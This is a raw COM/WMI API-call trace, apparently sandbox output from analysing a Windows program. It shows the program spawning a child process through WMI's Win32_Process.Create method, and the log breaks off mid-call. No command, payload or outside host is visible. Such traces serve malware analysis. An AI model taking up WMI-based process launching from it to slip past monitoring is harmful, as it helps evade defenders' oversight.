0x0 [0133.764] IWbemClassObject:Get (in: This=0x1b3dde30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10d9d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d054a8*=0, plFlavor=0x2d054ac*=0 | out: pVal=0x1b10d9d0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d054a8*=13, plFlavor=0x2d054ac*=32) returned 0x0 [0133.764] IWbemClassObject:Get (in: This=0x1b3dde30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10da00*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d054a8*=13, plFlavor=0x2d054ac*=32 | out: pVal=0x1b10da00*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d054a8*=13, plFlavor=0x2d054ac*=32) returned 0x0 [0133.764] IUnknown:QueryInterface (in: This=0x1b453800, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d2b0 | out: ppvObject=0x1b10d2b0*=0x1b453800) returned 0x0 [0133.764] IUnknown:QueryInterface (in: This=0x1b453800, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d340 | out: ppvObject=0x1b10d340*=0x0) returned 0x80004002 [0133.764] IUnknown:QueryInterface (in: This=0x1b453800, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cf60 | out: ppvObject=0x1b10cf60*=0x0) returned 0x80004002 [0133.764] IUnknown:QueryInterface (in: This=0x1b453800, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10cb38 | out: ppvObject=0x1b10cb38*=0x0) returned 0x80004002 [0133.764] IUnknown:AddRef (This=0x1b453800) returned 0x3 [0133.764] IUnknown:QueryInterface (in: This=0x1b453800, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c9f8 | out: ppvObject=0x1b10c9f8*=0x0) returned 0x80004002 [0133.764] IUnknown:QueryInterface (in: This=0x1b453800, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c980 | out: ppvObject=0x1b10c980*=0x0) returned 0x80004002 [0133.764] IUnknown:QueryInterface (in: This=0x1b453800, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c970 | out: ppvObject=0x1b10c970*=0x1b453808) returned 0x0 [0133.765] IMarshal:GetUnmarshalClass (in: This=0x1b453808, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c998 | out: pCid=0x1b10c998*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0133.765] IUnknown:Release (This=0x1b453808) returned 0x3 [0133.765] CoGetContextToken (in: pToken=0x1b10ca20 | out: pToken=0x1b10ca20) returned 0x0 [0133.765] CoGetContextToken (in: pToken=0x1b10cea0 | out: pToken=0x1b10cea0) returned 0x0 [0133.765] IUnknown:QueryInterface (in: This=0x1b453800, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cf60 | out: ppvObject=0x1b10cf60*=0x0) returned 0x80004002 [0133.765] IUnknown:Release (This=0x1b453800) returned 0x2 [0133.765] CoGetContextToken (in: pToken=0x1b10cf20 | out: pToken=0x1b10cf20) returned 0x0 [0133.765] CoGetContextToken (in: pToken=0x1b10ce20 | out: pToken=0x1b10ce20) returned 0x0 [0133.765] IUnknown:QueryInterface (in: This=0x1b453800, riid=0x1b10cf80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b10cf50 | out: ppvObject=0x1b10cf50*=0x0) returned 0x80004002 [0133.765] CoGetContextToken (in: pToken=0x1b10d0b0 | out: pToken=0x1b10d0b0) returned 0x0 [0133.765] IUnknown:QueryInterface (in: This=0x1b453800, riid=0x7ffb02955148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d180 | out: ppvObject=0x1b10d180*=0x0) returned 0x80004002 [0133.765] CoGetContextToken (in: pToken=0x1b10d140 | out: pToken=0x1b10d140) returned 0x0 [0133.765] IUnknown:AddRef (This=0x1b453800) returned 0x3 [0133.766] IWbemClassObject:Put (This=0x1b3dde30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10da60*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b453800, varVal2=0x0), Type=0) returned 0x0 [0133.766] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351440, puCount=0x1b10daf8 | out: puCount=0x1b10daf8*=0x2) returned 0x0 [0133.766] WbemDefPath:IWbemPath:GetText (in: This=0x351440, lFlags=4, puBuffLength=0x1b10daf0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10daf0*=0x22, pszText=0x0) returned 0x0 [0133.766] WbemDefPath:IWbemPath:GetText (in: This=0x351440, lFlags=4, puBuffLength=0x1b10daf0*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b10daf0*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0133.766] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x2a2c40, puCount=0x1b10da38 | out: puCount=0x1b10da38*=0x2) returned 0x0 [0133.766] WbemDefPath:IWbemPath:GetText (in: This=0x2a2c40, lFlags=4, puBuffLength=0x1b10da30*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da30*=0xf, pszText=0x0) returned 0x0 [0133.766] WbemDefPath:IWbemPath:GetText (in: This=0x2a2c40, lFlags=4, puBuffLength=0x1b10da30*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.766] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0133.766] WbemLocator:IUnknown:AddRef (This=0x1b459398) returned 0x3 [0133.766] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459398, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d400 | out: ppvObject=0x1b10d400*=0x1b459398) returned 0x0 [0133.766] WbemLocator:IUnknown:Release (This=0x1b459398) returned 0x3 [0133.766] WbemLocator:IUnknown:Release (This=0x1b459398) returned 0x2 [0133.766] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0133.766] WbemLocator:IUnknown:AddRef (This=0x1b459398) returned 0x3 [0133.766] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459398, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d400 | out: ppvObject=0x1b10d400*=0x1b459398) returned 0x0 [0133.766] WbemLocator:IUnknown:Release (This=0x1b459398) returned 0x3 [0133.766] WbemLocator:IUnknown:Release (This=0x1b459398) returned 0x2 [0133.767] WbemDefPath:IWbemPath:GetText (in: This=0x351440, lFlags=2, puBuffLength=0x1b10db00*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db00*=0xe, pszText=0x0) returned 0x0 [0133.767] WbemDefPath:IWbemPath:GetText (in: This=0x351440, lFlags=2, puBuffLength=0x1b10db00*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10db00*=0xe, pszText="Win32_Process") returned 0x0 [0133.767] IWbemServices:ExecMethod (in: This=0x1b4032d0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b3dde30, ppOutParams=0x1b10da70*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b10da70*=0x1b4319a0, ppCallResult=0x0) returned 0x0 [0133.981] IWbemClassObject:Get (in: This=0x1b4319a0, wszName="ProcessId", lFlags=0, pVal=0x1b10da60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d057b8*=0, plFlavor=0x2d057bc*=0 | out: pVal=0x1b10da60*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1360, varVal2=0x0), pType=0x2d057b8*=19, plFlavor=0x2d057bc*=0) returned 0x0 [0133.981] IWbemClassObject:Get (in: This=0x1b4319a0, wszName="ProcessId", lFlags=0, pVal=0x1b10da70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d057b8*=19, plFlavor=0x2d057bc*=0 | out: pVal=0x1b10da70*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1360, varVal2=0x0), pType=0x2d057b8*=19, plFlavor=0x2d057bc*=0) returned 0x0 [0133.982] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10daf8 | out: ppv=0x1b10daf8*=0x3111d8) returned 0x0 [0133.982] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10dae8 | out: pAptType=0x1b10dae8*=1) returned 0x0 [0133.982] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10daf0 | out: ppvObject=0x1b10daf0*=0x0) returned 0x80004002 [0133.982] IUnknown:Release (This=0x3111d8) returned 0x1 [0133.983] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cee8 | out: ppv=0x1b10cee8*=0x1b44a480) returned 0x0 [0133.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b44a480, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cfd0 | out: ppvObject=0x1b10cfd0*=0x0) returned 0x80004002 [0133.983] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b44a480, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa8 | out: ppvObject=0x1b10cfa8*=0x352580) returned 0x0 [0133.983] WbemDefPath:IUnknown:Release (This=0x1b44a480) returned 0x0 [0133.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd50 | out: ppvObject=0x1b10cd50*=0x352580) returned 0x0 [0133.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cde0 | out: ppvObject=0x1b10cde0*=0x0) returned 0x80004002 [0133.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c5d8 | out: ppvObject=0x1b10c5d8*=0x0) returned 0x80004002 [0133.984] WbemDefPath:IUnknown:AddRef (This=0x352580) returned 0x3 [0133.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0133.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c420 | out: ppvObject=0x1b10c420*=0x0) returned 0x80004002 [0133.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c410 | out: ppvObject=0x1b10c410*=0x1b44a1a0) returned 0x0 [0133.984] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b44a1a0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c438 | out: pCid=0x1b10c438*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.984] WbemDefPath:IUnknown:Release (This=0x1b44a1a0) returned 0x3 [0133.984] CoGetContextToken (in: pToken=0x1b10c4c0 | out: pToken=0x1b10c4c0) returned 0x0 [0133.984] CoGetContextToken (in: pToken=0x1b10c940 | out: pToken=0x1b10c940) returned 0x0 [0133.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ca00 | out: ppvObject=0x1b10ca00*=0x0) returned 0x80004002 [0133.984] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x2 [0133.984] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x1 [0133.984] CoGetContextToken (in: pToken=0x1b10d730 | out: pToken=0x1b10d730) returned 0x0 [0133.984] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0133.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x1b10d790*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d760 | out: ppvObject=0x1b10d760*=0x352580) returned 0x0 [0133.984] WbemDefPath:IUnknown:AddRef (This=0x352580) returned 0x3 [0133.984] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x2 [0133.984] WbemDefPath:IWbemPath:SetText (This=0x352580, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0133.985] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352580, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0133.985] WbemDefPath:IWbemPath:GetText (in: This=0x352580, lFlags=2, puBuffLength=0x1b10db40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db40*=0xe, pszText=0x0) returned 0x0 [0133.985] WbemDefPath:IWbemPath:GetText (in: This=0x352580, lFlags=2, puBuffLength=0x1b10db40*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10db40*=0xe, pszText="Win32_Process") returned 0x0 [0133.985] WbemDefPath:IWbemPath:GetInfo (in: This=0x352580, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0133.985] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352580, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0133.985] WbemDefPath:IWbemPath:GetInfo (in: This=0x352580, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0133.985] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10daf8 | out: ppv=0x1b10daf8*=0x3111d8) returned 0x0 [0133.985] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10dae8 | out: pAptType=0x1b10dae8*=1) returned 0x0 [0133.985] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10daf0 | out: ppvObject=0x1b10daf0*=0x0) returned 0x80004002 [0133.985] IUnknown:Release (This=0x3111d8) returned 0x1 [0133.985] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cee8 | out: ppv=0x1b10cee8*=0x1b44a020) returned 0x0 [0133.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b44a020, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cfd0 | out: ppvObject=0x1b10cfd0*=0x0) returned 0x80004002 [0133.986] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b44a020, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa8 | out: ppvObject=0x1b10cfa8*=0x352700) returned 0x0 [0133.986] WbemDefPath:IUnknown:Release (This=0x1b44a020) returned 0x0 [0133.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd50 | out: ppvObject=0x1b10cd50*=0x352700) returned 0x0 [0133.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cde0 | out: ppvObject=0x1b10cde0*=0x0) returned 0x80004002 [0133.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c5d8 | out: ppvObject=0x1b10c5d8*=0x0) returned 0x80004002 [0133.986] WbemDefPath:IUnknown:AddRef (This=0x352700) returned 0x3 [0133.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0133.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c420 | out: ppvObject=0x1b10c420*=0x0) returned 0x80004002 [0133.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c410 | out: ppvObject=0x1b10c410*=0x1b44a040) returned 0x0 [0133.986] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b44a040, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c438 | out: pCid=0x1b10c438*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.986] WbemDefPath:IUnknown:Release (This=0x1b44a040) returned 0x3 [0133.986] CoGetContextToken (in: pToken=0x1b10c4c0 | out: pToken=0x1b10c4c0) returned 0x0 [0133.986] CoGetContextToken (in: pToken=0x1b10c940 | out: pToken=0x1b10c940) returned 0x0 [0133.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ca00 | out: ppvObject=0x1b10ca00*=0x0) returned 0x80004002 [0133.986] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x2 [0133.986] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x1 [0133.986] CoGetContextToken (in: pToken=0x1b10d730 | out: pToken=0x1b10d730) returned 0x0 [0133.986] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0133.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x1b10d790*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d760 | out: ppvObject=0x1b10d760*=0x352700) returned 0x0 [0133.987] WbemDefPath:IUnknown:AddRef (This=0x352700) returned 0x3 [0133.987] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x2 [0133.987] WbemDefPath:IWbemPath:SetText (This=0x352700, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0133.987] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352700, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0133.987] WbemDefPath:IWbemPath:GetText (in: This=0x352700, lFlags=2, puBuffLength=0x1b10db40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db40*=0x15, pszText=0x0) returned 0x0 [0133.987] WbemDefPath:IWbemPath:GetText (in: This=0x352700, lFlags=2, puBuffLength=0x1b10db40*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b10db40*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0133.987] WbemDefPath:IWbemPath:GetInfo (in: This=0x352700, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0133.987] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352700, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0133.987] WbemDefPath:IWbemPath:GetInfo (in: This=0x352700, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0133.987] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352700, puCount=0x1b10daa8 | out: puCount=0x1b10daa8*=0x0) returned 0x0 [0133.987] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352400, puCount=0x1b10da68 | out: puCount=0x1b10da68*=0x2) returned 0x0 [0133.987] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10da60*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da60*=0xf, pszText=0x0) returned 0x0 [0133.987] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10da60*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da60*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.987] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9b8 | out: ppv=0x1b10d9b8*=0x3111d8) returned 0x0 [0133.987] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9a8 | out: pAptType=0x1b10d9a8*=1) returned 0x0 [0133.987] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9b0 | out: ppvObject=0x1b10d9b0*=0x0) returned 0x80004002 [0133.987] IUnknown:Release (This=0x3111d8) returned 0x1 [0133.988] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, 